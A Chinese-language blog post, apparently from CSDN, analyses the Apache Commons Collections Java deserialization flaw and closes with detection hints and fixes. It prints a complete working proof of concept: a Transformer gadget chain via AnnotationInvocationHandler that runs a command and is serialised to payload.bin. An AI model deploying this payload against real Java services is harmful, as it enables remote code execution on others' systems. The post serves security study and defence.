一、漏洞怎么生产的
如果一个应用接受反序列化数据,并且没有对反序列化的对象做限制,就可能导致代码执行。(使用了有安全缺陷的Apache Commons Collections jar包)
public static void main(String[] args) {
/*under attacker's control*/
File f =new File(args[0]);
try {
FileInputStream fis = new FileInputStream(f);
ObjectInputStream ois=new ObjectInputStream(fis);
/*where vul produce*/
ois.readObject();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
上面就是类似生产漏洞的代码,但是不是接受远程数据,接受远程导致RCE,原理类似。其实这个漏洞发现隐蔽性挺强的,大神发现也是太牛逼。
二、分析前基础知识
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,其中定义了TransformedMap结构,其定义了一个静态方法decorate(),可以完成Map结构的转换。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
调用此方法可以完成Map的转换:
Map oldMap = new HashMap();
Map newMap = TransformedMap.decorate(oldMap,keyTransformer,valueTransformer);
TransformedMap实现了一个抽象类AbstractInputCheckedMapDecorator,当TransformedMap的setValue()方法被调用时,会调用抽闲父类AbstractInputCheckedMapDecorator的setValue()方法。
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
private static final long serialVersionUID = 7023152376788900464L;
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
}
AbstractInputCheckedMapDecorator的setValue()方法:
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
于是继续回到TransformedMap的checkSetValue方法,从而调用了transform()方法,并且,transform()方法的参数就是setValue()方法的参数。
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
在Apache的commons-collections.jar中,默认实现了ConstantTransformer,InvokerTransformer,ChainedTransformer几个实现,我们重点关注InvokerTransformer类,查看其transform()方法:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
可以看到,上面的transform(),通过java 反射调用了input的iMethodName方法。并且,iMethodName是可控的。这样,结果就是,只要transform()方法被调用,就导致了代码执行。
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
} else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {
throw new IllegalArgumentException("The parameter types must match the arguments");
} else if (paramTypes != null && paramTypes.length != 0) {
paramTypes = (Class[])((Class[])paramTypes.clone());
args = (Object[])((Object[])args.clone());
return new InvokerTransformer(methodName, paramTypes, args);
} else {
return new InvokerTransformer(methodName);
}
}
....
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
做个简单实验:
public static void main(String[]args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map oldMap = new HashMap();
oldMap.put("test","test");
Map newMap = TransformedMap.decorate(oldMap,null,chainedTransformer);
Map.Entry entry = (Map.Entry) newMap.entrySet().iterator().next();
entry.setValue("hello");
}
计算器被弹出:
三、如何利用
上面我们可以看到,通过setValue()方法可以导致代码执行。但是,如何在“宿主程序”中导致代码执行,换句话说,总不能假定用户在反序列化恰好调用了setValue()。大神的路子还是野,发现了AnnotationInvocationHandler这个类,这个类冲重写了readObject()方法。
在java反序列化时,如果反序列化的对象重写了readObject()方法,则重写的方法会被调用。
AnnotationInvocationHandler类刚好重写了readerObject()方法,并且,在readObject()方法中还恰好调用了setValue()方法。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
更加重要的是,setValue()的对象还是可控的,通过AnnotationInvocationHandler的构造器就能传入。
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
}
这样,一套完整的触发链就构造完成了,我们只需要构造一AnnotationInvocationHandler实例,然后将其序列化,就得到了恶意对象。然后,有漏洞的程序没有处理好反序列化过程,通过上面精心构造的反序列化对象,就导致了RCE。
public static void main(String[]args)throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outerMap);
File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
四、挖掘
黑盒:从流量中发现序列化的痕迹,关键字:ac ed 00 05,rO0AB;
白盒:寻找readObject()字段。
五、影响及修复:
这里不包括使用了commons-collections.jar包java中间件,仅考虑受影响的commons-collections.jar包本身
影响:
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt",
desc.getName());
}
return super.resolveClass(desc);
}
}
(2) 升级commons-collections.jar包至Commons-Collections3.2.2以上。
参考:
https://security.tencent.com/index.php/blog/msg/97
http://www.lovenull.com/view/181
https://www.owasp.org/index.php/Deserialization_Cheat_Sheet
来源:CSDN
作者:Venscor
链接:https://blog.csdn.net/u010651541/article/details/78369181